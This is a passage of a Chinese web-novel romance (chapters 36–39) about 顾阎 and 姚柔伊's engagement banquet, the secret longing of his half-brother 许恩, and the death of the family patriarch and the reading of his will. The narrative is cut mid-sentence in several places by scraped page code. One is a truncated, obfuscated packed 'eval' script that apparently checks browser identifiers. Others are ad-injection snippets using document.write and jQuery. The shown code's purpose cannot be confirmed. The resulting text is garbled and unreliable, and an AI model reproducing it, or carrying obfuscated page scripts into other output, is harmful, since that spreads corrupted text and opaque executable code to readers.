“不许出尔反尔。”顾阎蹭了一下她的头,长腿将她圈住,像巨型树袋熊缠着她,佯装发怒:“敢骗我试试!” “如果是骗你的呢?”姚柔伊突发好奇,“你会发疯吗?” “不会,你要是言而无信走了,我绝对不会找你的。”他说得既愤恨又笃定。 或许是想到她走掉的情景,顾阎生气地在她肩膀上咬了一口。 “真幼稚。”姚柔伊心软成一滩水,“放心我会一直陪着你的,未婚夫。” 说完,凑过去在他的脸上啵了一口。 未婚夫三个字,叫到了顾阎心坎上,他登时笑开,黏着她说:“再叫一声。” “未婚夫。”姚柔伊满足他,又贴近吻了一下他的嘴唇。 “再声叫老公听听。”顾阎得寸进尺,眉宇间的愁云已然散尽。 姚柔伊撇嘴不依:“那不行,还没结婚呢。” 顾阎没再坚持,“好吧,未婚妻。” 听到这句,姚柔伊的心跳似鼓点,嘴角飞快扬起,收也收不住。 “跟我订婚是什么感觉呀?你这个不婚族,”姚柔伊握上他的手,与他十指交叉,“会不会觉得打开了通往坟墓的大门?” “说不出来的感觉,总之还不赖。”顾阎不咸不淡地说,“以后什么样再说吧。” 他曾经极度抗拒的事,正徐徐推进,他没有感受到想象中的煎熬,是因为他的心性发生变化吗?亦或是结婚的人选发生变化?他不乐意去细想。 思考这些并不能给他带来任何正向的价值,他将胡思乱想统称为浪费时间。 “明天会来多少人?”姚柔伊对此一概不知,订婚所有事宜都是顾家准备的,她甚至连试礼服的环节都没有,当然这和顾卫国身体突然恶化有关,她没来得及自己参与筹备。 好在姚柔伊对这种仪式感并不看重,甚至觉得前期的准备很麻烦,也乐意当甩手掌柜。 顾阎:“没有请多少人,主要是我爸、我二姨、我三叔他们几家,媒体的人没有请,爷爷情况不好,这个节点不适合大操大办,更像是个家庭聚会吧。” 说起来,自打爷爷从集团病退之后,顾家家庭成员再也没有完整聚过一次。这样的大家族,因利益分配不均反目成仇的比比皆是,顾家也不例外,彰显家族和睦的聚会难以再凑齐所有人。 顾阎歉疚地问:“会不会觉得委屈,没给你很大的排场。” “怎么会,我本来也不是很喜欢那种太夸张的仪式,有种被当猴耍的感觉。”姚柔伊继续说:“我其实还挺希望旅行结婚的,只有我们两个人,没有任何人打扰,开在陌生的路上,就像私奔一样。” “私奔?”顾阎捏了一下她的脸颊,忍俊不禁:“你还真是够中二的。” 这倒是给顾阎说准了,姚柔伊这个资深二次元多少有点中二想法在身上。 “怎么了,你没听过有情饮水饱,私奔多快意、多浪漫啊。”姚柔伊发出无限感慨,恨不得当场实施,她与顾阎的相处时光,最为怀念的一段就是在新疆辽阔的草原山谷中。 “又不是为了现实低头哭着说只有金钱关系的时候了。”顾阎无情嘲讽。 姚柔伊羞恼捶他:“提什么提,人家本来能一直封心锁爱装下去,谁让你非要问问问的。” “你那时候精神状态都不正常了,一点劲都没有。”顾阎直白道:“那种蔫了吧唧的样子真的很丑。” “呵呵,我哪样都好看,那是林黛玉限定版。”姚柔伊翻了个白眼。 “算了吧,林黛玉敢爱敢恨,才不是你当时那样。”顾阎继续损她:“你那是缩头乌龟限定版。” 姚柔伊抬臂一个肘击,被顾阎一把握住胳膊肘,轻松化解,他淡淡嘲道:“太慢了。” 下一秒,姚柔伊声东击西,踹他下盘,并一击得手,愉快地听到他闷哼痛呼声。 顾阎直接翻身压住她,单手捉住她两个手腕,提起来压在头上方。 “你他么是想我变成残废?”顾阎目露凶意,恶狠狠地低头咬她的嘴:“到时候谁满足你?” “外面的小狼狗。”姚柔伊不怕死地刺激他:“比你更猛、更年轻。” 这话无疑太岁头上动土,姚柔伊马上就受到激怒顾阎后的“惩罚”,要不是明天还有订婚宴,她怕是下不了床。 第二天一早,化妆师、发型师、造型师,一整个顶级妆造团队的人来到别墅,给姚柔伊化妆做造型。 姚柔伊被摆弄了两个小时方才大功告成。 她穿的是一条暖白色旗袍,头发盘起来,妆容明丽,整体气质非常温婉大气,像一株沾着露珠的白色芍药。 虽与她本性相距甚远,奈何姚柔伊气质百变,又善伪装,能完美hold住这套中式典雅造型。 顾阎的装扮还是惯常的西装,不过这次是带马甲的偏复古三件套,深灰色,相当儒雅绅士,像上世纪留洋归来的大少爷,与姚柔伊登对得很。 一打眼看过去,仿佛又回到了当初他们各怀鬼胎,带着面具相处的时候。 淑女与绅士的完美组合。 订婚宴并未设在豪华酒店里,而是选址在顾家老宅。 姚柔伊从未涉足过顾家老宅,顾阎亦是很久没有回去过,自从母亲离世之后,他单方面断绝回老宅,在外购置一处别墅毅然决然搬了出去。 老宅不能没有人气,平日里主要是父亲顾乾在住,后来许淑静娘俩也住了进去,顾阎虽未抗议,但也不曾同意,他对此不置一词,只是再也不曾回去的态度诠释了所有。 车开进老宅的时候,姚柔伊被这栋庄园式老宅震住,建筑风格中西合璧,集海内外之所长,庄重典雅,古朴中带着点新潮,看起来就像是个收费景区,很难想象到这是一座私宅。 广阔的庭院里栽了两排梧桐树,每一棵都粗得需要两人才能环抱住。 老宅已经被重新布置过,多了喜庆的味道。 进门后,姚柔伊紧跟在顾阎后面,她对这些亲戚一概不知,只能装出腼腆、不善言辞的模样,省去社交环节。 老姚比姚柔伊先到一步,是顾阎派人去接他的,礼数很周到,让人挑不出错。 老姚看见姚柔伊之后,向她招手,姚柔伊走过去。 “真漂亮啊。”见盛装打扮的女儿,透过时间的长河仿佛看见还是豆丁时期的姚柔伊,那么小一只,雪团子似的,一转眼快出嫁了,老姚眼圈发红,不由得哽咽:“真长大了。” “别搞尬的。”姚柔伊低声说,她其实不擅长处理伤感的场面,只求老姚恢复正常。 老姚吸了下酸涩的鼻子,收回翻涌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾阎刚和父亲说完客套话,朝姚柔伊这边走过来。 姚柔伊余光瞥见了他,忙示意老姚闭嘴,别再说了。 奈何老姚没意会到她的提醒,仍滔滔不绝:“这种豪门私生子争权夺势的戏码马上要上演了,你可得让顾阎好好应对,别让人钻了空子。” “谢谢叔叔的提醒。”顾阎在老姚身后停住,话中带笑。 姚柔伊尴尬在原地,老姚更是被呛住,好半天没下句话,手握拳放在嘴上咳嗽了一下,想掩饰尴尬、转移话题。 姚柔伊咬牙切齿地盯着老姚:“叫你别说别说了。” 老姚破罐子破摔:“谁看见不想说道两句,这不明显的嘛,突然冒出来个弟弟。” 姚柔伊瞪他:“你别瞎猜。” 尽管她也是这么认为的,但还是不想在顾阎面前说出他们是兄弟这事,怕伤他的心,谁都不希望自己突然多出个便宜兄弟。 顾阎态度倒是无所谓:“是我同父异母的弟弟,随他妈妈的姓,叫许恩。” 哦对了,就是这个名字,姚柔伊一经提醒,瞬间忆起这位同学的名字来。 “他今年毕业,按理说跟你算同届校友。”顾阎对姚柔伊说。 “是吗,这么巧呀,哈哈。”姚柔伊故作惊奇,没有告知他自己认识许恩,实在是太浅薄的关系,跟不认识也没啥区别。 不远处的许淑静整理完桌上的摆件,环视大厅,看见了他们三人,当即端着酒杯,带着许恩,前来打招呼。 许淑静先举杯敬向老姚,“这位应该是柔伊的爸爸吧?到这边这么久,我才刚过来打招呼,真是抱歉,招待不周。” 老姚忙碰了杯:“哪里,哪里,我也就刚到。” 紧接着她又将身后的许恩介绍一番:“这是犬子许恩,目前在公司帮忙做事。” 老姚客套地夸了句:“一表人才。” 许恩的视线一直在姚柔伊身上,他端着酒杯的手骤然一紧,指甲发白,酒水震荡,险些洒出,很快恢复平静。 他此刻宛如跌坠无人之境,听不见周围人的说话声,他只能看见姚柔伊。 许恩喉咙滚热发痒,脱口道:“姚柔伊。” 许恩叫出姚柔伊名字的那一刻,所有人都安静了。 姚柔伊心虚地看向顾阎,顾阎眉头微拧、面露疑色,老姚先看向姚柔伊,又看向许恩,最后探视顾阎的表情。 许淑静忙拍许恩的手臂,不悦地斜睨他,说:“没礼貌,应该叫嫂子。” 37. 第 37 章 “嫂子。”许恩僵硬地开口。 这两个字脱口时好似针扎喉管,似乎有血味。 他的声音没有顾阎低沉磁性,是趋于干净清澈的声线。 “哎。”姚柔伊尬着头皮应下。 什么鬼,这人怎么一点分不清场合,净让她难堪。 许恩知道自己给姚柔伊惹了麻烦,主动解释:“我们是同学,之前在学校见过,没想到哥哥的订婚对象是我的同学,刚才实在太惊讶,让大家见笑了。” 姚柔伊再度心虚地瞅了眼顾阎。 早知道她刚才就不嫌麻烦,直接坦白了。 “真巧,刚才我还和你嫂子说,你俩是同学可能认识呢。”顾阎亲昵又自然地搂着姚柔伊的肩膀,宣示主权:“可惜你嫂子记性不行,刚还没认出来你。” 这个“嫂子”听得姚柔伊汗毛直竖。 许恩敛目,轻嘲:“嗯,就是见过几面,记不住也正常。” 他的眼神里闪过稍纵即逝的落寞,似一滴水坠落在汪洋中。 打完招呼后,许淑静和许恩离开,老姚也被顾乾叫过去聊起来。 姚柔伊和顾阎得到独处的机会。 “刚才还装不认识?”顾阎果然没放过她。 姚柔伊讪笑,搓着手掌谄媚道:“那不是怕我的未婚夫多心嘛。” 顾阎眉毛一扬,嘴角斜耷:“我多什么心?难不成你还跟他有一段?” 姚柔伊立刻三指起誓:“那绝对没有。” “这我倒信。”顾阎认可地颔首。 但他同样发觉到许恩是对姚柔伊有想法的,只是姚柔伊未曾察觉,他绝不将这个发现点出来,省得姚柔伊多心注意起许恩来,相当于搬起石头砸自己的脚。 “你小时候是不是住在这边?”姚柔伊问。 “嗯,出国前都住在这里。” “那带我去你房间看看。” 顾阎点头依允:“行,我也好久没去过了。” 顾阎领着姚柔伊来到三楼,走至他童年时代一直住的房间,房间门被锁上,顾阎喊来管家开门。 房间里的味道很清新,摆设仍是他离开之前的样子,书柜、桌椅、床铺都纤尘不染,可见是有人定期来打扫通风。 这个房间和他的别墅相比,东西很多,布置温馨、更有生活气息。 姚柔伊首先去看他的书柜,除了教辅材料、课外必读书目之外,整齐摆放着很多的漫画书、推理小说。 “哇,你有这套漫画全集呀,我也有。”姚柔伊的手拂过书架,“里面一大半我都看过哎,该说不说我们口味还挺相近的。” “嗯,小时候看全是字的书看不进去,基本上都是看图画类的多。” “现在你还看书吗?”姚柔伊肩膀推搡他手臂,略讽他:“在别墅里从来没见你看过书。” 姚柔伊见过他每天运动健身,偶尔会看见他练书法,却没见他阅读。 顾阎坐到床上,往后一躺,懒懒闲闲地开口:“想不到我在你心里定位是个文化人。” 姚柔伊笑起来,轻踢他的腿:“你还真会想的。” “现在除了看文件,一看到密密麻麻的的字我就头疼。”顾阎抬手捏了捏太阳穴:“不想看书、只想放空,等订婚结束,忙完这段时间,我带你去露营,这次一定成功。” “行啊,好久没出去玩了。” 姚柔伊继续翻他的书桌,从角落里翻到了一沓试卷,小学三年级,批改过的,英语才28分,她像发现了新大陆,疯狂嘲笑:“不是吧,你英语才考这点分,你留学的时候确定能听懂吗?” 顾阎瞥了眼试卷:“那是我故意考的,控分你懂吗?当初我跟别人打赌,一分不差地考到某个分数,如果我赢了,他收集的水浒卡就要全给我。” “你别吹牛。”姚柔伊嘴角向下。 “爱信不信,不然你接着翻其他试卷。”顾阎回想起,又说:“水浒卡应该还在抽屉里。” 姚柔伊继续翻,果然除了这一张,其他的都是满分试卷,她啧声:“想不到你还是学霸呢?” “废话,我如果不出国,留在国内参加高考,清北也就是手拿把掐的事。”顾阎大言不惭。 姚柔伊无语:“你怎么不直接吹你是高考状元呢?” 顾阎故作深思,点头,态度诚恳:“也不是不可能。” 闻言,姚柔伊翻了个白眼。 顾阎这人是典型的给点阳光就能灿烂,这辈子不知道低调两个字怎么写。 姚柔伊把试卷原封不动放回去,接着又仔细地翻找,还把课本拿出来快速翻动,几秒后又放回去。 顾阎:“找什么呢?” 姚柔伊边翻边答:“瞅瞅有没有什么情书。” 顾阎淡淡道:“我不保留那东西。” “那你收过?”姚柔伊好奇。 “我初中就出国了,不过小学的时候确实收到过,不多,那时候大家普遍还没开窍。” “啧啧,小学就收情书了。” 顾阎继续:“错,幼儿园就有。” 不过是男生给的,因为他幼儿园的时候特别可爱,长得有点像小姑娘,导致不少小男孩误以为他是小女孩,向他献殷勤,还收到稚嫩又滑稽的情书。后来递情书的小男孩在厕所看见了顾阎的小鸡鸡,意识到他是如假包换的男生后,那小男孩还大哭一场,让他把情书还回去。 “是吗?”姚柔伊正巧翻到了顾阎幼儿园的毕业合照,在里面扫视了一圈,没看见顾阎的影子,只能看下方的名字。 在一点点核对上顾阎的时候,姚柔伊瞳孔地震:“不是吧,一点也不像现在的你,这个也太秀气了!” 她把合照拿给顾阎看,问他:“是哪个小朋友给你递情书的?” 顾阎自然不会老实回答,他指了其中最漂亮的一个小女孩,“应该就她。” “哈哈哈你两看起来像姐妹。”姚柔伊笑得不行,“该不会这个小朋友觉醒了百合基因?” “呵。”顾阎冷笑一下,不予理会。 * 老宅后院,许淑静和许恩避开人群。 许淑静一改和善的面容,眼睛像淬了毒一样,死死盯着许恩。 她永远是这样,人前一套,人后一套,她所有的狠毒恶劣的面貌在许恩面前展现得淋漓尽致。 许淑静:“你骗不过我,你肯定对姚柔伊藏了别的心思,是不是?” 许恩眼神偏到一边,看向梧桐树的落叶,不言不语,冷漠倔强。 “说话!”许淑静低声呵斥,“她是你现在能肖想的人吗?你知道我们娘俩走到这一步有多不容易吗?” “我没有想怎么样。”许恩平静地说。 在最起始与她相识之时,他便没有任何的动作和追求,现在又怎会逾矩? 她于他而言,是天上的骄阳,无情地炙烤着他的阴暗扭曲。 她的光芒让他情不自禁想靠近,可一旦靠近,就会这份明亮和灼热烫伤,他只能驻足不前。 起初在同一个社团,她还是单身状态,不少人怂恿他,去和她组成搭档,完成一些无聊的社团任务。他厌倦旁人的撮合和调侃,不肯与她亲近,她自然也不会理会他。 他们一直这么不咸不淡,像两条完全没有相交的平行线。 可没人知道,他面上不屑一顾,可背地里却控制不住去观察她。 他探究的目光隐秘而热烈,他隐藏得很好,从未被任何人发觉,是啊,谁让他是谨小慎微的私生子,素来做惯了这些,躲在暗处像阴沟里的老鼠偷偷打量。 是什么时候,他们平行的轨迹有短暂的相交呢? 那是一个冬日下午,与社团活动无关,他们意外在校园外相遇。说是相遇,不如说他远远看见了她,又没忍住远远跟在她身后。 他的学业很忙,他从来不喜欢做无聊浪费时间的事情,可偶然遇见的机会太宝贵了,他放弃了起初要去科技馆的计划,默默 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 改道。 他们始终相距五十米左右,他刻意放慢了步伐,这个距离很远,但很安全,可以保全他敏感的自尊。 在过前方一个路口的时候,一位年迈体衰、步伐颤颤巍巍的老奶奶在拐弯时不幸跌倒,仰躺在覆着冰雪的路面上哎呦痛呼。 在姚柔伊之前的三两个行人,闷不吭声地走过去,连头都没有转动。 世态炎凉,人心不古,太多前人的教训塑造了当前社会的冷漠。 许恩想,她会去扶起老人吗,如果自己经过,他又会去扶起老人吗? 他想,他会犹豫,如果老人强行扯他的裤脚,或指向明确地单独叫他帮忙,那他会去将老人扶起来,如果没有,他可能会装作看不见,良心百般纠结地走过去,并祈祷下个好心人将她扶起。 在他胡思乱想之时,姚柔伊已经跑了起来,明明穿着厚实的羽绒服,可跑起来之后,轻盈像雪燕。 她飞奔过去将老人扶起。 老人穿得很多,体型偏胖,她一个人扶不动,她四下张望,倏忽间看见了许恩。 许恩顿住,他听见她的喊声,“同学,过来搭把手。” 你看,太阳又在散发着她的光芒,将他的内心的阴暗面照射得无地自容。 他快步走过去。 他们合力将老人扶起,送去了医院,联系完家属才离开。 结局当然是好的,老人家属非常感激他们,非要递给他们两千块钱以表谢意,他们没接,后来家属写了封真挚的感谢信寄给学校。学校特地在开会的时候表扬他们,还给他们加了学分。 这是一件极为常见的小事,他们共同帮扶了一位老人,不,应该是她带着他帮助了一位老人,若是之前只是好奇而产生的观察欲,进而诱发的好感,那自此之后,他的情感更加隐晦且热烈。 他肖想太阳,又深知自己不配,他是阴暗潮湿角落里滋生的苔藓,一旦被烈阳灼烤便迎来死亡。 后来,听说她交了男朋友,他诡异又扭曲的爱藏得更深。 他打听过她的男朋友,没有一个是他能看得上的,他愤愤难平,他的觉得他的太阳被污染了,她的男友就像太阳黑子,虽挡不住太阳的光辉,却令他作呕。 他无数次幻想,若有朝一日,他取得了更高的成就,那时他可否摆脱自己卑贱的原出身,站在她面前,说太阳啊太阳啊,你可否落入我的怀中,我将永恒供奉你的光辉。 可未曾想到,太阳已不再属于他,她被另一个人私有,粘贴上他永远不可接近的标签。 为什么偏偏是顾阎? 他的目光晦暗不明,梧桐叶被风卷起,他的视线随之而动,那落叶像极了他可悲又无人在意的命运。 母亲的喋喋不休的警告模糊成电流音,从他耳畔滑过,他什么也听不清。 突然,一声清脆的响声打破了他的出神,他的脸火辣辣烧起来。 许淑静扇完巴掌的手尚未收回,她抢夺他的手机,按亮屏幕,屏幕上的女生侧脸昭然若揭。 “我以前还以为这姑娘是网红呢,没想到竟然是她,你是什么时候偷拍的,快点换掉屏保,不要被任何人发现。”许淑静极为愤怒,可打完许恩后又泛起心疼:“对不起,怪妈妈没有给你提供好的身份,你这么优秀,配她绰绰有余,可惜她现在已经是顾阎的人,你现在羽翼未丰,一定不能胡来,等之后你在顾家站稳脚跟,我们再去接触更好的姑娘,世界上优秀的女孩太多了,没必要在一棵树上吊死。” 许恩无喜无悲,他依言将手机屏保图片换成了系统自带的初始图片。 “我跟她不会有什么,以前没有,现在更不可能会有。”许恩落寞地说:“我配不上她。” 说完,许恩径直离去,他瘦削挺拔的身影被孤寂笼罩,有一种难言的苍凉。 许淑静望着许恩的背影,叹了一口气。 被风卷起的梧桐叶,打空中打转几圈,缓缓落地,一同落地的还有一颗沉默破碎的心。 38. 第 38 章 订婚宴有条不紊地进行着,所有人落座,席间大家喝酒、谈笑、说尽祝贺的话。 许恩脸上残留的掌痕较为显眼,但他在顾家不受重视,无人关心询问,也省去解释的功夫。 他只安静地吃菜。 顾阎意味不明地看了眼他脸上的红痕,没有说话。 他猜测这是许淑静打的,这个女人为达目的一向隐忍且豁得出去,她肯定和他一样,察觉出许恩对姚柔伊的异样情感。 这巴掌是对许恩的教训,同样也是对顾阎的投诚。 她希望能用这个巴掌消减顾阎对许恩的怒气,以便许恩能在顾家公司长久做下去。 宣布完两家订婚的消息后,顾阎从口袋里掏出了一个蓝色丝绒小盒子。 姚柔伊目露讶色,她能猜出这是什么,但顾阎完全没有提前告诉她自己会准备这个东西。 顾阎打开盒子,一枚鸽子蛋大小的璀璨宝石戒指安静地躺在盒中。 姚柔伊轻呼,这也太有实力了吧,不知道这么大的宝石得多少钱,要是将来离婚,需不需要归还? 顾阎抬起她的手,在众人的笑声、掌声、欢呼声中将戒指套在姚柔伊的手指上。 她的手指纤细如葱,宝石的宽度完全能盖住她整个手指。 沉甸甸的。 好像把成堆的人民币浓缩戴在了手指上。 “喜欢吗?没来得及跟你商量。”这枚宝石戒指,还是他托池修白在国外的一场拍卖会上购得的,不为其他,就是第一眼看到的时候就觉得上面写了姚柔伊的名字。 在众人的目光下,姚柔伊强忍住猛亲他一口的冲动,维持大家闺秀的羞涩,含情脉脉地点头:“喜欢,你送的都喜欢。” 在顾阎送完戒指后,顾乾从怀中掏出了另一个更大一圈的方盒子递过来:“这是顾阎母亲的意思。” 这话自然指的是已逝的母亲。在顾阎还是个小毛孩的时候,她便为以后的儿媳备下了见面礼。 顾阎替姚柔伊接过,打开。 里面是一对满紫的翡翠镯子,莹润细腻,色泽漂亮,极具收藏价值。 “谢谢。”姚柔伊道谢。 许淑静自然也有所准备,但她身份尴尬,不能准备得太贵重,只得送上一份寻常礼物,一条海水珍珠项链,品质不错,既不奢侈也不廉价。 其余的长辈也纷纷送上礼物,价值和许淑静相差不大。 在订婚宴进行到尾声的时候,顾乾突然站起来开口:“父亲病重,家里早该来点喜事冲冲,中国人讲究双喜临门,小许跟了我这么多年,把顾家内外打理得井井有条,没有功劳也有苦劳,今天我就借着这个东风宣布,我们下月二十领证,她不要名分跟我这么久,我不能没有任何表示,现在儿子要成家了,我这老头子也得跟上。” 此话一出,饭桌上顿时鸦雀无声,顾坤,顾方圆对视一眼,都摇摇头,看来顾乾的那个行为并没有提前和他俩商量。 儿子结婚,老子突然来这么一下,着实让人摸不着头脑。 顾乾此前是个极懂人情世故的人,他挑在这一天宣布要让许淑静进门,到底安了什么心,是觉得在这个特殊的节点上,更能成事吗? 当初年轻那会儿,他也曾极力想娶许淑静,奈何顾阎母亲的死笼罩在顾家,两家是联姻关系,对面几乎与顾家恩断义绝,顾卫国为了给顾阎母家的说法,强行压制下顾乾想再娶的提议。 说如果顾乾想去许淑静,就需要和顾家断绝关系。 当年的顾乾也确实抱着破釜沉舟的想法,想舍下这些荣华富贵,不管不顾地和许淑静在一起,成全他们的爱情。 被许淑静以分手作威胁劝阻了。 她不可能接受顾乾为了她放弃掉当前的一切,因为她已经经历一段失败的婚姻,一段贫贱夫妻百事哀的婚姻,她不允许自己重新回到那种境地。 她表示自己愿意无名无分地跟着顾乾,只要他能老老实实地待在顾家,只要他的心属于她,又何须在乎什么名分这些虚妄的东西。 后来,许淑静凭借着自己的能力和情商,一点点渗透进顾家,渐渐地打理起顾家内宅的大小事务,她做事周全,让所有人都挑不出错,连顾卫国都默许她的介入。 这么多年的徐徐图之,她早就成了无名有实的当家主母。 顾家所有人都觉得这种现状会一直持续下去,没想到顾乾却从未停止过娶她的心思,甚至不惜挑选儿子订婚的节点公布。 在这个时候公布,即便是为了脸面,赌顾阎不可能当众表示不同意,而顾卫国也已经奄奄一息,无权插手,而这也是难得能将顾家所有人组织在一起的,商量大事的场合。 见气氛尴尬,所有人各怀想法,老姚脸色尤其不爽,这亲家平白无故抢他女儿的风头,好好的订婚宴怎么成了旁人的喜事发布会,而且这亲家看着比他还大,居然还想着再娶,真是为老不尊,可这顾家的事,他终究一个外人,有什么说话的份,哪怕姚柔伊也没有能说话的地。 大户人家,藏污纳垢,所见不鲜,老姚在心里狂翻一个白眼,要不是女儿实在是喜欢顾阎,他现在未必愿意同意这门亲事。 顾坤先反应过来,接话道:“哥,你这话说的,就算双喜临门,那也是小辈们凑成双喜,你说你跟儿子凑双喜,这算什么话,传出去也不好听,但是吧,嫂子这些年操劳的事,大家都有目共睹,哥你这番表态虽然不分场合但也算有情有义,我们这些人哪有什么不同意的理呀,是不是?” 他斜眼示意二姐顾方圆表态。 顾方圆说:“这件事我没有意见,许姐和我这么多年交情,我说什么都有失公正,但人是不能一直活在过去的,万事万物都在发展,放下过去朝前看,生活方能越来越好。” 这话明显是说给顾阎听的,让他放下母亲之死,接受新的发展,接受许淑静接替过母亲的地位。 所有人都看向顾阎,等着他的表态。 顾阎面冷如霜,周身的气压低到了极点,他环视一圈,眼神锐利如鹰隼,在座的每一个人都有可能成为他的猎物,巨大的压迫感让这里不再是订婚宴席,仿佛来到了险象环生的非洲草原,遍布着原始的杀戮气息。 在顾阎还未开口之时,许淑静站了起来,她端起一杯酒,歉意道:“阿乾说这事实在是太鲁莽了,也没跟我提前商量一下,这实在是不该,我这些年早就不在乎什么名头,我的出现引发悲剧,我这辈子无论做什么也偿还不完,怎么还敢奢求更多,我看这事就算了吧,要真是想凑个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好事成双,不如把许恩认回顾家,也算为顾家添了个丁,成一桩好事。” 许淑静知道顾阎不会同意她顶替他妈的位置,故而决定牺牲自己的利益,成全儿子,只要许恩能顺利成为顾家人,那她未来的日子再坏也坏不到哪里去。 她又说:“许恩这些年学有所成,正是为顾家效力、为哥哥分忧的时候。” 顾阎扯了个嘲讽的嘴角,他重重地放下酒杯,酒水迸溅出来,所有人都等着他的雷霆之怒。 姚柔伊在桌下轻轻捏了一下他的腿,想让他冷静。 在顾阎即将起身之时,一直被忽略的许恩抢先站起来,他口出惊人:“抱歉,我决定退出公司,我自认学术不精,想出国深造几年。” 许淑静内心震动,不亚于原子弹爆发,她在人前必须维持体面,实际上心里想把许恩大卸八块,想逼着他把说出口的话全部收回去。 她苦心筹谋多载,为了许恩进公司没少跟顾方圆、顾乾他们打好关系,一切疏通到位,结果许恩居然不按照她给他准备的康庄大道走,非要出国深造。 离开了,再想进来谈何容易? 当顾卫国离世,顾阎大权在握的时候,公司里哪还有许恩的容身之处。 此时顾阎尚未能一手遮天,还有许淑静为儿子图谋的空间,她决计也不同意许恩出国的提议。 许淑静:“学进去的内容是要实践的,在工作中边干边学,说不定比出国读研更有收获。再说了,现在这个国际形势,你这个专业,国外的那些高校都是拒收中国人的,你出去也学不到什么。” 许恩安静地反驳:“我之前已经联系好了学校和教授,没有问题的。” “别让妈妈担心。”许淑静加重了语气。 许恩已经完全无法说服自己再待在顾家,待在顾家公司,待在顾阎的手底下。 他曾经想过离开,可碍于母亲的压迫,从未想过实施。 但现在,是什么激化了他的想法? 或许是太阳,那令他灵魂灼烧的光热给予他最后一抹冲破僵局的勇气。 他要出走,他要远离,他不要再当苔藓,他要做大树! “妈,我已经决定好了。”许恩说完这句话转身离去。 “许恩!”许淑静无法维持自身的庄雅,她失控叫道:“你回来!” 许恩的脚步没有半分停留。 所有人都被这变故震惊住,比顾乾宣布要娶许淑静还要震撼一百倍。 老姚现在就像瓜田里的猹,左瞅瞅右瞧瞧,见顾家人面色凝重,心里可算痛快起来,叫你们一个个的在这算计,人算不如天算,算来算去一场空,人家私生子不领情,走了! 变故至此,根本无需再维持什么家族体面、亲人情分,顾阎将酒杯往前一推,开口:“你们吃好喝好,我这边不奉陪了,爱他妈双喜还是八喜的,想办什么事你们尽情操办吧,老子不在乎,以前不在乎,以后更不在乎。” 说完,他拉起姚柔伊离席。 一场本该和和美美的订婚宴,变成了七零八散的分家宴。 顾坤,顾方圆也作势要走。 突然,管家慌里慌张地闯了进来,悲痛哽咽着带来噩耗:“医院那边传来消息,顾老爷子走了。” 39. 第 39 章 一石激起千层浪,此话一出,方才宴席上的难堪全然抛却脑后,大家都朝着医院涌去。 顾卫国的离世比所有人想的还快。 原本以为他能坚持到年底,至少也该看完孙子的婚礼,哪知这次的病危通知下达之后第二天他就走了。 众人匆忙来到医院,再宽敞的干部病房站了这么多人,也显得有些局促。 顾卫国身上已经盖上白布。 逝者安息,生者不便再打扰,无人上前揭开白布。 “你想看看吗?”姚柔伊靠近顾阎,很小声地问。 顾阎目光落在白布上,没有回应。 他应当是想看的,只是接受不了亲人离去,姚柔伊深吸一口气,鼓足勇气,上前轻轻将白布掀开,翻折在胸前,露出顾卫国的脸。 对上那安静祥和,面颊苍老凹陷的脸,顾阎高大的身躯打了个颤。 姚柔伊的举动令顾家其他人不适,顾坤出口训道:“别打扰了亡灵。” 姚柔伊从来不信什么亡灵,她只是想顾阎能再见爷爷一面,故而将这话当成耳旁风,没往心里去。 顾阎冷冷地睥了眼顾坤,不悦道:“三叔,慎言。” 顾坤缩了下脑袋,不再说什么。 顾卫国的委托律师带着厚厚的一份文件前来,告知他们顾老爷子生前留有遗嘱。 霎时,除了顾阎和姚柔伊以外,其余人都被遗嘱两个字牵动了注意力,纷纷看向律师,等着他的宣读。 律师简单地介绍了一下财产分割状况,关于现金、房产以及藏品部分,分得还算公正,连许恩都沾光分了一杯羹,许淑静暗暗放下心来,看来她这么多年没白尽孝,顾卫国到底是接受了他们娘俩。 所有人更多的注意力都放在接下来企业股权的划分上。 这才是顾卫国留下的最有价值的资产。 顾卫国本人手里拥有接近百分之六十的股份,谁分的多,谁就能彻底掌控这个庞大到骇人的家族企业。 在多道目光的注视下,律师不紧不慢,话语平稳地公布:“企业股份在顾阎结婚之后全部转入其名下。” 众人虽做好心理建设,但在这明晃晃的偏爱之下,没人能心平气和接受。 最先离开的是顾方圆,她的高跟鞋声踏在地砖上,咚咚的声响似是不满的抗议。 顾坤,顾乾,许淑静,律师依次离去。老姚也和他们告别,今天的闹剧实在太多,一幕接着一幕,他快信息过载,只想赶紧抽离这泥潭。 整个病房里只剩下顾阎和姚柔伊。 顾阎直直站着,可姚柔伊能感觉到他的生命力渐渐抽离,她上前抱住了他,希望能通过拥抱向他输送能量。 顾阎泄了气,他弯腰抱住姚柔伊,在她耳边闷闷地说:“爷爷真的走了,这世上陪着我的人又少一个。” “我会陪着你的。”姚柔伊说:“我们订婚了不是吗,我不会让你孤单的。” “好。”顾阎应道。 顾阎沉默着抱了一会姚柔伊,他纵然万分伤感,可此时还有无数的事情等着他处理,近在眼前的就是爷爷的后事。 他连伤怀的时间都少得可怜。 顾阎拖着沉重的步伐走到爷爷病床前,伸手将白布重新盖了回去。 此生的最后一面。再见。 爷爷的丧事按照他生前的遗言,一切从简,但他这一生是风起云涌的壮阔,亲近的、不亲近的人全来吊唁。 姚柔伊这辈子都没见过这么多有名有姓的人物。 这些天她跟在顾阎身边迎来送往的,累得快要虚脱。 她晚上还能睡会,顾阎简直就是个铁人,不仅守灵,还抽空处理工作,她起初还劝他注意身体。 被他一句“我心里有数”回绝了。 姚柔伊就不再说什么。 她也明白,有时候人在悲痛之时,是需要让自己忙起来,忙得像个骡子一样,才能平息内心的煎熬和摧折。放松下来只会加重内耗、引发崩溃。 他没有流泪,全程下来一滴泪都没有流。 守了七天灵位,爷爷的白事落下帷幕,这期间顾阎的脸色渐渐苍白,唇色减淡,他的状态越来越差,任谁都能看的出,他的身体已是强弩之末。 回到别墅,姚柔伊强势地将他正在办公的电脑抢走,板着脸,目光坚定,“现在去睡觉。” “拿来。”顾阎不耐烦地说。 